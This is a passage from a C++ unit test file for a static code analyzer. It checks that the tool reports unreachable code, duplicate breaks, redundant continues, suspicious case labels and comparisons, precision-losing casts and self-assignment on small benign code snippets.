{\\n\"\n \" case 2:\\n\"\n \" y |= 2;\\n\"\n \" case 3:\\n\"\n \" y |= 3;\\n\"\n \" break;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo(int a)\\n\"\n \"{\\n\"\n \" int y = 1;\\n\"\n \" switch (a)\\n\"\n \" {\\n\"\n \" case 2:\\n\"\n \" y &= 2;\\n\"\n \" case 3:\\n\"\n \" y &= 3;\\n\"\n \" break;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo(int a)\\n\"\n \"{\\n\"\n \" int y = 1;\\n\"\n \" switch (a)\\n\"\n \" {\\n\"\n \" case 2:\\n\"\n \" y |= 2;\\n\"\n \" case 3:\\n\"\n \" y &= 2;\\n\"\n \" break;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void unreachableCode() {\n check(\"void foo(int a) {\\n\"\n \" while(1) {\\n\"\n \" if (a++ >= 100) {\\n\"\n \" break;\\n\"\n \" continue;\\n\"\n \" }\\n\"\n \" }\\n\"\n \"}\", true, false, false);\n ASSERT_EQUALS(\"[test.cpp:5:13]: (style) Consecutive return, break, continue, goto or throw statements are unnecessary. [duplicateBreak]\\n\", errout_str());\n\n check(\"int foo(int a) {\\n\"\n \" return 0;\\n\"\n \" return(a-1);\\n\"\n \"}\", true, false, false);\n ASSERT_EQUALS(\"[test.cpp:3:5]: (style) Consecutive return, break, continue, goto or throw statements are unnecessary. [duplicateBreak]\\n\", errout_str());\n\n check(\"int foo(int a) {\\n\"\n \" A:\"\n \" return(0);\\n\"\n \" goto A;\\n\"\n \"}\", true, false, false);\n ASSERT_EQUALS(\"[test.cpp:3:5]: (style) Consecutive return, break, continue, goto or throw statements are unnecessary. [duplicateBreak]\\n\", errout_str());\n\n constexpr char xmldata[] = \"\\n\"\n \"\\n\"\n \" \\n\"\n \" true\\n\"\n \" \\n\"\n \" \\n\"\n \"\";\n /*const*/ Settings settings = settingsBuilder().libraryxml(xmldata).build();\n\n check(\"void foo() {\\n\"\n \" exit(0);\\n\"\n \" break;\\n\"\n \"}\", true, false, false, false, &settings);\n ASSERT_EQUALS(\"[test.cpp:3:5]: (style) Consecutive return, break, continue, goto or throw statements are unnecessary. [duplicateBreak]\\n\", errout_str());\n\n check(\"class NeonSession {\\n\"\n \" void exit();\\n\"\n \"};\\n\"\n \"void NeonSession::exit()\\n\"\n \"{\\n\"\n \" SAL_INFO(\\\"ucb.ucp.webdav\\\", \\\"neon commands cannot be aborted\\\");\\n\"\n \"}\", true, false, false, false, &settings);\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void NeonSession::exit()\\n\"\n \"{\\n\"\n \" SAL_INFO(\\\"ucb.ucp.webdav\\\", \\\"neon commands cannot be aborted\\\");\\n\"\n \"}\", true, false, false, false, &settings);\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo() { xResAccess->exit(); }\", true, false, false, false, &settings);\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo(int a)\\n\"\n \"{\\n\"\n \" switch(a) {\\n\"\n \" case 0:\\n\"\n \" printf(\\\"case 0\\\");\\n\"\n \" break;\\n\"\n \" break;\\n\"\n \" case 1:\\n\"\n \" c++;\\n\"\n \" break;\\n\"\n \" }\\n\"\n \"}\", true, false, false);\n ASSERT_EQUALS(\"[test.cpp:7:13]: (style) Consecutive return, break, continue, goto or throw statements are unnecessary. [duplicateBreak]\\n\", errout_str());\n\n check(\"void foo(int a)\\n\"\n \"{\\n\"\n \" switch(a) {\\n\"\n \" case 0:\\n\"\n \" printf(\\\"case 0\\\");\\n\"\n \" break;\\n\"\n \" case 1:\\n\"\n \" c++;\\n\"\n \" break;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo(int a)\\n\"\n \"{\\n\"\n \" while(true) {\\n\"\n \" if (a++ >= 100) {\\n\"\n \" break;\\n\"\n \" break;\\n\"\n \" }\\n\"\n \" }\\n\"\n \"}\", true, false, false);\n ASSERT_EQUALS(\"[test.cpp:6:13]: (style) Consecutive return, break, continue, goto or throw statements are unnecessary. [duplicateBreak]\\n\", errout_str());\n\n check(\"void foo(int a)\\n\"\n \"{\\n\"\n \" while(true) {\\n\"\n \" if (a++ >= 100) {\\n\"\n \" continue;\\n\"\n \" continue;\\n\"\n \" }\\n\"\n \" a+=2;\\n\"\n \" }\\n\"\n \"}\", true, false, false);\n ASSERT_EQUALS(\"[test.cpp:6:13]: (style) Consecutive return, break, continue, goto or throw statements are unnecessary. [duplicateBreak]\\n\", errout_str());\n\n check(\"void foo(int a)\\n\"\n \"{\\n\"\n \" while(true) {\\n\"\n \" if (a++ >= 100) {\\n\"\n \" continue;\\n\"\n \" }\\n\"\n \" a+=2;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int foo() {\\n\"\n \" throw 0;\\n\"\n \" return 1;\\n\"\n \"}\", true, false, false);\n ASSERT_EQUALS(\"[test.cpp:3:5]: (style) Consecutive return, break, continue, goto or throw statements are unnecessary. [duplicateBreak]\\n\", errout_str());\n\n check(\"void foo() {\\n\"\n \" throw 0;\\n\"\n \" return;\\n\"\n \"}\", true, false, false);\n ASSERT_EQUALS(\"[test.cpp:3:5]: (style) Consecutive return, break, continue, goto or throw statements are unnecessary. [duplicateBreak]\\n\", errout_str());\n\n check(\"int foo() {\\n\"\n \" throw = 0;\\n\"\n \" return 1;\\n\"\n \"}\", false, false, false);\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int foo() {\\n\"\n \" return 0;\\n\"\n \" return 1;\\n\"\n \"}\", true, false, false, false);\n ASSERT_EQUALS(\"[test.cpp:3:5]: (style) Consecutive return, break, continue, goto or throw statements are unnecessary. [duplicateBreak]\\n\", errout_str());\n\n check(\"int foo() {\\n\"\n \" return 0;\\n\"\n \" foo();\\n\"\n \"}\", true, false, false);\n ASSERT_EQUALS(\"[test.cpp:3:5]: (style) Statements following 'return' will never be executed. [unreachableCode]\\n\", errout_str());\n\n check(\"int foo(int unused) {\\n\"\n \" return 0;\\n\"\n \" (void)unused;\\n\"\n \"}\", true, false, false);\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int foo(int unused1, int unused2) {\\n\"\n \" return 0;\\n\"\n \" (void)unused1;\\n\"\n \" (void)unused2;\\n\"\n \"}\", true, false, false);\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int foo(int unused1, int unused2) {\\n\"\n \" return 0;\\n\"\n \" (void)unused1;\\n\"\n \" (void)unused2;\\n\"\n \" foo();\\n\"\n \"}\", true, false, false);\n ASSERT_EQUALS(\"[test.cpp:5:5]: (style) Statements following 'return' will never be executed. [unreachableCode]\\n\", errout_str());\n\n check(\"int foo() {\\n\"\n \" if(bar)\\n\"\n \" return 0;\\n\"\n \" return 124;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int foo() {\\n\"\n \" while(bar) {\\n\"\n \" return 0;\\n\"\n \" return 0;\\n\"\n \" return 0;\\n\"\n \" return 0;\\n\"\n \" }\\n\"\n \" return 124;\\n\"\n \"}\", true, false, false);\n ASSERT_EQUALS(\"[test.cpp:4:9]: (style) Consecutive return, break, continue, goto or throw statements are unnecessary. [duplicateBreak]\\n\", errout_str());\n\n check(\"void foo() {\\n\"\n \" while(bar) {\\n\"\n \" return;\\n\"\n \" break;\\n\"\n \" }\\n\"\n \"}\", true, false, false);\n ASSERT_EQUALS(\"[test.cpp:4:9]: (style) Consecutive return, break, continue, goto or throw statements are unnecessary. [duplicateBreak]\\n\", errout_str());\n\n // #5707\n check(\"extern int i,j;\\n\"\n \"int foo() {\\n\"\n \" switch(i) {\\n\"\n \" default: j=1; break;\\n\"\n \" }\\n\"\n \" return 0;\\n\"\n \" j=2;\\n\"\n \"}\", true, false, false);\n ASSERT_EQUALS(\"[test.cpp:7:5]: (style) Statements following 'return' will never be executed. [unreachableCode]\\n\", errout_str());\n\n check(\"int foo() {\\n\"\n \" return 0;\\n\"\n \" label:\\n\"\n \" throw 0;\\n\"\n \"}\", true, false, false);\n ASSERT_EQUALS(\"[test.cpp:3:3]: (style) Label 'label' is not used. [unusedLabel]\\n\", errout_str());\n\n check(\"struct A {\\n\"\n \" virtual void foo (P & Val) throw ();\\n\"\n \" virtual void foo1 (P & Val) throw ();\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int foo() {\\n\"\n \" goto label;\\n\"\n \" while (true) {\\n\"\n \" bar();\\n\"\n \" label:\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str()); // #3457\n\n check(\"int foo() {\\n\"\n \" goto label;\\n\"\n \" do {\\n\"\n \" bar();\\n\"\n \" label:\\n\"\n \" } while (true);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str()); // #3457\n\n check(\"int foo() {\\n\"\n \" goto label;\\n\"\n \" for (;;) {\\n\"\n \" bar();\\n\"\n \" label:\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str()); // #3457\n\n // #3383. TODO: Use preprocessor\n check(\"int foo() {\\n\"\n \"\\n\" // #ifdef A\n \" return 0;\\n\"\n \"\\n\" // #endif\n \" return 1;\\n\"\n \"}\", true, false, false);\n ASSERT_EQUALS(\"\", errout_str());\n check(\"int foo() {\\n\"\n \"\\n\" // #ifdef A\n \" return 0;\\n\"\n \"\\n\" // #endif\n \" return 1;\\n\"\n \"}\", true, true, false);\n ASSERT_EQUALS(\"[test.cpp:5:5]: (style, inconclusive) Consecutive return, break, continue, goto or throw statements are unnecessary. [duplicateBreak]\\n\", errout_str());\n\n // #4711 lambda functions\n check(\"int f() {\\n\"\n \" return g([](int x){(void)x+1; return x;});\\n\"\n \"}\",\n true,\n false,\n false);\n ASSERT_EQUALS(\"\", errout_str());\n\n // #4756\n check(\"template <>\\n\"\n \"inline uint16_t htobe(uint16_t value) {\\n\"\n \" return ( __extension__ ({\\n\"\n \" register unsigned short int __v, __x = (unsigned short int) (value);\\n\"\n \" if (__builtin_constant_p (__x))\\n\"\n \" __v = ((unsigned short int) ((((__x) >> 8) & 0xff) | (((__x) & 0xff) << 8)));\\n\"\n \" else\\n\"\n \" __asm__ (\\\"rorw $8, %w0\\\" : \\\"=r\\\" (__v) : \\\"0\\\" (__x) : \\\"cc\\\");\\n\"\n \" (void)__v;\\n\"\n \" }));\\n\"\n \"}\", true, false, false);\n ASSERT_EQUALS(\"\", errout_str());\n\n // #6008\n check(\"static std::function< int ( int, int ) > GetFunctor() {\\n\"\n \" return [](int a_, int b_) -> int {\\n\"\n \" int sum = a_ + b_;\\n\"\n \" return sum;\\n\"\n \" };\\n\"\n \"}\", true, false, false);\n ASSERT_EQUALS(\"\", errout_str());\n\n // #5789\n check(\"struct per_state_info {\\n\"\n \" uint64_t enter, exit;\\n\"\n \" uint64_t events;\\n\"\n \" per_state_info() : enter(0), exit(0), events(0) {}\\n\"\n \"};\", true, false, false);\n ASSERT_EQUALS(\"\", errout_str());\n\n // #6664\n check(\"void foo() {\\n\"\n \" (beat < 100) ? (void)0 : exit(0);\\n\"\n \" bar();\\n\"\n \"}\", true, false, false, false, &settings);\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo() {\\n\"\n \" (beat < 100) ? exit(0) : (void)0;\\n\"\n \" bar();\\n\"\n \"}\", true, false, false, false, &settings);\n ASSERT_EQUALS(\"\", errout_str());\n\n // #8261\n // TODO Do not throw AST validation exception\n TODO_ASSERT_THROW(check(\"void foo() {\\n\"\n \" (beat < 100) ? (void)0 : throw(0);\\n\"\n \" bar();\\n\"\n \"}\", true, false, false, false, &settings), InternalError);\n //ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int foo() {\\n\"\n \" exit(0);\\n\"\n \" return 1;\\n\" // <- clarify for tools that function does not continue..\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" enum : uint8_t { A, B } var = A;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkP(\"#define INB(x) __extension__ ({ u_int tmp = (x); inb(tmp); })\\n\" // #4739\n \"static unsigned char cmos_hal_read(unsigned index) {\\n\"\n \" unsigned short port_0, port_1;\\n\"\n \" assert(!verify_cmos_byte_index(index));\\n\"\n \" if (index < 128) {\\n\"\n \" port_0 = 0x70;\\n\"\n \" port_1 = 0x71;\\n\"\n \" }\\n\"\n \" else {\\n\"\n \" port_0 = 0x72;\\n\"\n \" port_1 = 0x73;\\n\"\n \" }\\n\"\n \" OUTB(index, port_0);\\n\"\n \" return INB(port_1);\\n\"\n \"}\\n\", dinit(CheckPOptions, $.cpp = false));\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"[[noreturn]] void n();\\n\"\n \"void f() {\\n\"\n \" n();\\n\"\n \" g();\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:4:5]: (style) Statements following noreturn function 'n()' will never be executed. [unreachableCode]\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" exit(1);\\n\"\n \" g();\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:3:5]: (style) Statements following noreturn function 'exit()' will never be executed. [unreachableCode]\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" do {\\n\"\n \" break;\\n\"\n \" g();\\n\"\n \" } while (0);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:4:9]: (style) Statements following 'break' will never be executed. [unreachableCode]\\n\", errout_str());\n\n check(\"void f() {\\n\" // #12244\n \" {\\n\"\n \" std::cout << \\\"x\\\";\\n\"\n \" return;\\n\"\n \" }\\n\"\n \" std::cout << \\\"y\\\";\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:6:5]: (style) Statements following 'return' will never be executed. [unreachableCode]\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" {\\n\"\n \" std::cout << \\\"x\\\";\\n\"\n \" exit(1);\\n\"\n \" }\\n\"\n \" std::cout << \\\"y\\\";\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:6:5]: (style) Statements following noreturn function 'exit()' will never be executed. [unreachableCode]\\n\", errout_str());\n\n check(\"int f() {\\n\" // #13475\n \" { return 0; };\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int f(int i) {\\n\" // #13478\n \" int x = 0;\\n\"\n \" switch (i) {\\n\"\n \" { case 0: x = 5; break; }\\n\"\n \" { case 1: x = 7; break; }\\n\"\n \" }\\n\"\n \" return x;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int f(int c) {\\n\"\n \" switch (c) {\\n\"\n \" case '\\\\n':\\n\"\n \" { return 1; };\\n\"\n \" default:\\n\"\n \" { return c; };\\n\"\n \" }\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int main(int argc, char *argv[]) {\\n\" // #11\n \" switch (argc) {\\n\"\n \" case 0: {\\n\"\n \" return 1;\\n\"\n \" }\\n\"\n \" break;\\n\"\n \" }\\n\"\n \" return 0;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:6:9]: (style) Consecutive return, break, continue, goto or throw statements are unnecessary. [duplicateBreak]\\n\"\n \"[test.cpp:1:26]: (style) Parameter 'argv' can be declared as const array [constParameter]\\n\",\n errout_str());\n\n check(\"int f(int i) {\\n\" // #13491\n \" switch (i) {\\n\"\n \" case 0:\\n\"\n \" return 0;\\n\"\n \" int j;\\n\"\n \" case 1:\\n\"\n \" case 2:\\n\"\n \" j = 5;\\n\"\n \" return j + i;\\n\"\n \" }\\n\"\n \" return 3;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int f(int i) {\\n\"\n \" switch (i) {\\n\"\n \" {\\n\"\n \" case 0:\\n\"\n \" return 0;\\n\"\n \" }\\n\"\n \" {\\n\"\n \" int j;\\n\"\n \" case 1:\\n\"\n \" case 2:\\n\"\n \" j = 5;\\n\"\n \" return j + i;\\n\"\n \" }\\n\"\n \" }\\n\"\n \" return 3;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int f(int i) {\\n\"\n \" switch (i) {\\n\"\n \" case 0:\\n\"\n \" return 0;\\n\"\n \" int a[1];\\n\"\n \" case 1:\\n\"\n \" case 2:\\n\"\n \" a[0] = 5;\\n\"\n \" return a[0] + i;\\n\"\n \" }\\n\"\n \" return 3;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int f(int i) {\\n\"\n \" switch (i) {\\n\"\n \" case 0:\\n\"\n \" return 0;\\n\"\n \" int j;\\n\"\n \" dostuff();\\n\"\n \" case 1:\\n\"\n \" case 2:\\n\"\n \" j = 5;\\n\"\n \" return j + i;\\n\"\n \" }\\n\"\n \" return 3;\\n\"\n \"}\\n\");\n TODO_ASSERT_EQUALS(\"[test.cpp:6:5]: (style) Statements following 'return' will never be executed. [unreachableCode]\\n\", \"\", errout_str());\n\n check(\"int f() {\\n\" // #13472\n \" int var;\\n\"\n \" auto int ret();\\n\"\n \" int ret() {\\n\"\n \" return var;\\n\"\n \" }\\n\"\n \" var = 42;\\n\"\n \" return ret();\\n\"\n \"}\\n\", /*cpp*/ false);\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\" // #13516\n \" io_uring_for_each_cqe(&ring, head, cqe) {\\n\"\n \" if (cqe->res == -EOPNOTSUPP)\\n\"\n \" printf(\\\"error\\\");\\n\"\n \" goto ok;\\n\"\n \" }\\n\"\n \" usleep(10000);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void redundantContinue() {\n check(\"void f() {\\n\" // #11195\n \" for (int i = 0; i < 10; ++i) {\\n\"\n \" printf(\\\"i = %d\\\\n\\\", i);\\n\"\n \" continue;\\n\"\n \" }\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:4:9]: (style) 'continue' is redundant since it is the last statement in a loop. [redundantContinue]\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" int i = 0;\"\n \" do {\\n\"\n \" ++i;\\n\"\n \" printf(\\\"i = %d\\\\n\\\", i);\\n\"\n \" continue;\\n\"\n \" } while (i < 10);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:5:9]: (style) 'continue' is redundant since it is the last statement in a loop. [redundantContinue]\\n\", errout_str());\n\n check(\"int f() {\\n\" // #13475\n \" { return 0; };\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int f(int i) {\\n\" // #13478\n \" int x = 0;\\n\"\n \" switch (i) {\\n\"\n \" { case 0: x = 5; break; }\\n\"\n \" { case 1: x = 7; break; }\\n\"\n \" }\\n\"\n \" return x;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"bool f(int x, int y) {\\n\" // #13544\n \" switch (x) {\\n\"\n \" case 1: {\\n\"\n \" return y != 0;\\n\"\n \" int z = y + 5;\\n\"\n \" return z != 7;\\n\"\n \" }\\n\"\n \" }\\n\"\n \" return false;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:5:9]: (style) Statements following 'return' will never be executed. [unreachableCode]\\n\", errout_str());\n }\n\n\n void suspiciousCase() {\n check(\"void foo() {\\n\"\n \" switch(a) {\\n\"\n \" case A&&B:\\n\"\n \" foo();\\n\"\n \" case (A||B):\\n\"\n \" foo();\\n\"\n \" case A||B:\\n\"\n \" foo();\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:15]: (warning, inconclusive) Found suspicious case label in switch(). Operator '&&' probably doesn't work as intended. [suspiciousCase]\\n\"\n \"[test.cpp:5:16]: (warning, inconclusive) Found suspicious case label in switch(). Operator '||' probably doesn't work as intended. [suspiciousCase]\\n\"\n \"[test.cpp:7:15]: (warning, inconclusive) Found suspicious case label in switch(). Operator '||' probably doesn't work as intended. [suspiciousCase]\\n\", errout_str());\n\n check(\"void foo() {\\n\"\n \" switch(a) {\\n\"\n \" case 1:\\n\"\n \" a=A&&B;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // TODO Do not throw AST validation exception\n TODO_ASSERT_THROW(check(\"void foo() {\\n\"\n \" switch(a) {\\n\"\n \" case A&&B?B:A:\\n\"\n \" foo();\\n\"\n \" }\\n\"\n \"}\"), InternalError);\n //ASSERT_EQUALS(\"\", errout_str());\n }\n\n void suspiciousEqualityComparison() {\n check(\"void foo(int c) {\\n\"\n \" if (x) c == 0;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:14]: (warning, inconclusive) Found suspicious equality comparison. Did you intend to assign a value instead? [constStatement]\\n\", errout_str());\n\n check(\"void foo(const int* c) {\\n\"\n \" if (x) *c == 0;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:15]: (warning, inconclusive) Found suspicious equality comparison. Did you intend to assign a value instead? [constStatement]\\n\", errout_str());\n\n\n check(\"void foo(int c) {\\n\"\n \" if (c == 1) {\\n\"\n \" c = 0;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo(int c) {\\n\"\n \" c == 1;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:7]: (warning, inconclusive) Found suspicious equality comparison. Did you intend to assign a value instead? [constStatement]\\n\", errout_str());\n\n check(\"void foo(int c) {\\n\"\n \" for (int i = 0; i == 10; i ++) {\\n\"\n \" a ++;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo(int c) {\\n\"\n \" for (i == 0; i < 10; i ++) {\\n\"\n \" c ++;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:12]: (warning, inconclusive) Found suspicious equality comparison. Did you intend to assign a value instead? [constStatement]\\n\", errout_str());\n\n check(\"void foo(int c) {\\n\"\n \" for (i == 1; i < 10; i ++) {\\n\"\n \" c ++;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:12]: (warning, inconclusive) Found suspicious equality comparison. Did you intend to assign a value instead? [constStatement]\\n\", errout_str());\n\n check(\"void foo(int c) {\\n\"\n \" for (i == 2; i < 10; i ++) {\\n\"\n \" c ++;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:12]: (warning, inconclusive) Found suspicious equality comparison. Did you intend to assign a value instead? [constStatement]\\n\", errout_str());\n\n check(\"void foo(int c) {\\n\"\n \" for (int i = 0; i < 10; i == c) {\\n\"\n \" c ++;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:31]: (warning, inconclusive) Found suspicious equality comparison. Did you intend to assign a value instead? [constStatement]\\n\", errout_str());\n\n check(\"void foo(int c) {\\n\"\n \" for (; running == 1;) {\\n\"\n \" c ++;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo(int c) {\\n\"\n \" printf(\\\"%i\\\", ({x==0;}));\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo(int arg) {\\n\"\n \" printf(\\\"%i\\\", ({int x = do_something(); x == 0;}));\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo(int x) {\\n\"\n \" printf(\\\"%i\\\", ({x == 0; x > 0 ? 10 : 20}));\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:22]: (warning, inconclusive) Found suspicious equality comparison. Did you intend to assign a value instead? [constStatement]\\n\", errout_str());\n\n check(\"void foo(int x) {\\n\"\n \" for (const Token* end = tok->link(); tok != end; tok = (tok == end) ? end : tok->next()) {\\n\"\n \" x++;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo(int x) {\\n\"\n \" for (int i = (x == 0) ? 0 : 5; i < 10; i ++) {\\n\"\n \" x++;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo(int x) {\\n\"\n \" for (int i = 0; i < 10; i += (x == 5) ? 1 : 2) {\\n\"\n \" x++;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void suspiciousUnaryPlusMinus() { // #8004\n check(\"int g() { return 1; }\\n\"\n \"void f() {\\n\"\n \" +g();\\n\"\n \" -g();\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:3:5]: (warning, inconclusive) Found suspicious operator '+', result is not used. [constStatement]\\n\"\n \"[test.cpp:4:5]: (warning, inconclusive) Found suspicious operator '-', result is not used. [constStatement]\\n\",\n errout_str());\n\n check(\"void f(int i) {\\n\"\n \" +i;\\n\"\n \" -i;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:5]: (warning, inconclusive) Found suspicious operator '+', result is not used. [constStatement]\\n\"\n \"[test.cpp:3:5]: (warning, inconclusive) Found suspicious operator '-', result is not used. [constStatement]\\n\",\n errout_str());\n }\n\n void suspiciousFloatingPointCast() {\n check(\"double f(double a, double b, float c) {\\n\"\n \" return a + (float)b + c;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:16]: (style) Floating-point cast causes loss of precision. [suspiciousFloatingPointCast]\\n\", errout_str());\n\n check(\"double f(double a, double b, float c) {\\n\"\n \" return a + static_cast(b) + c;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:34]: (style) Floating-point cast causes loss of precision. [suspiciousFloatingPointCast]\\n\", errout_str());\n\n check(\"long double f(long double a, long double b, float c) {\\n\"\n \" return a + (double)b + c;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:16]: (style) Floating-point cast causes loss of precision. [suspiciousFloatingPointCast]\\n\", errout_str());\n\n check(\"void g(int, double);\\n\"\n \"void h(double);\\n\"\n \"void f(double d) {\\n\"\n \" g(1, (float)d);\\n\"\n \" h((float)d);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:4:10]: (style) Floating-point cast causes loss of precision. [suspiciousFloatingPointCast]\\n\"\n \"[test.cpp:5:7]: (style) Floating-point cast causes loss of precision. [suspiciousFloatingPointCast]\\n\",\n errout_str());\n }\n\n void selfAssignment() {\n check(\"void foo()\\n\"\n \"{\\n\"\n \" int x = 1;\\n\"\n \" x = x;\\n\"\n \" return 0;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:7]: (style) Redundant assignment of 'x' to itself. [selfAssignment]\\n\", errout_str());\n\n check(\"void foo()\\n\"\n \"{\\n\"\n \" int x = x;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:11]: (style) Redundant assignment of 'x' to itself. [selfAssignment]\\n\", errout_str());\n\n check(\"struct A { int b; };\\n\"\n \"void foo(A* a1, A* a2) {\\n\"\n \" a1->b = a1->b;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:11]: (style) Redundant assignment of 'a1->b' to itself. [selfAssignment]\\n\", errout_str());\n\n check(\"int x;\\n\"\n \"void f()\\n\"\n \"{\\n\"\n \" x = x = 3;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:7]: (style) Redundant assignment of 'x' to itself. [selfAssignment]\\n\", errout_str());\n\n // #4073 (segmentation fault)\n check(\"void Foo::myFunc( int a )\\n\"\n \"{\\n\"\n \" if (a == 42)\\n\"\n \" a = a;\\n\"\n \"}\");\n\n check(\"void foo()\\n\"\n \"{\\n\"\n \" int x = 1;\\n\"\n \" x = x + 1;\\n\"\n \" return 0;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo()\\n\"\n \"{\\n\"\n \" int *x = getx();\\n\"\n \" *x = x;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo() {\\n\"\n \" BAR *x = getx();\\n\"\n \" x = x;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:7]: (style) Redundant assignment of 'x' to itself. [selfAssignment]\\n\", errout_str());\n\n // #2502 - non-primitive type -> there might be some side effects\n check(\"void foo()\\n\"\n \"{\\n\"\n \" Fred fred; fred = fred;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(int x) {\\n\"\n \" x = (x == 0);\"\n \" func(x);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(int x) {\\n\"\n \" x = (x != 0);\"\n \" func(x);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // ticket #3001 - false positive\n check(\"void foo(int x) {\\n\"\n \" x = x ? x : 0;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #3800 - false negative when variable is extern\n check(\"extern int i;\\n\"\n \"void f() {\\n\"\n \" i = i;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:7]: (style) Redundant assignment of 'i' to itself. [selfAssignment]\\n\", errout_str());\n\n // #4291 - id for variables accessed through 'this'\n check(\"class Foo {\\n\"\n \" int var;\\n\"\n \" void func();\\n\"\n \"};\\n\"\n \"void Foo::func() {\\n\"\n \" this->var = var;\\n\"\n \"}\");\n 